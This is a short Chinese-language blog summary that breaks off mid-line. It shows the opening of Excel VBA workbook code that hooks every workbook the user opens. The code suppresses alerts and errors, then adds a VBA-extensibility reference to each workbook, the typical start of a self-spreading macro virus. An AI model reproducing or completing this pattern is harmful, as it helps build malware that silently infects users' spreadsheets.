摘要： ThisWorkbook代码Public WithEvents xx As ApplicationPrivate Sub Workbook_open()Set xx = ApplicationOn Error Resume NextApplication.DisplayAlerts = FalseCall do_whatEnd SubPrivate Sub xx_workbookOpen(ByVal wb As Workbook)On Error Resume Nextwb.VBProject.References.AddFromGuid _GUID:="{0002E157-0000 阅读全文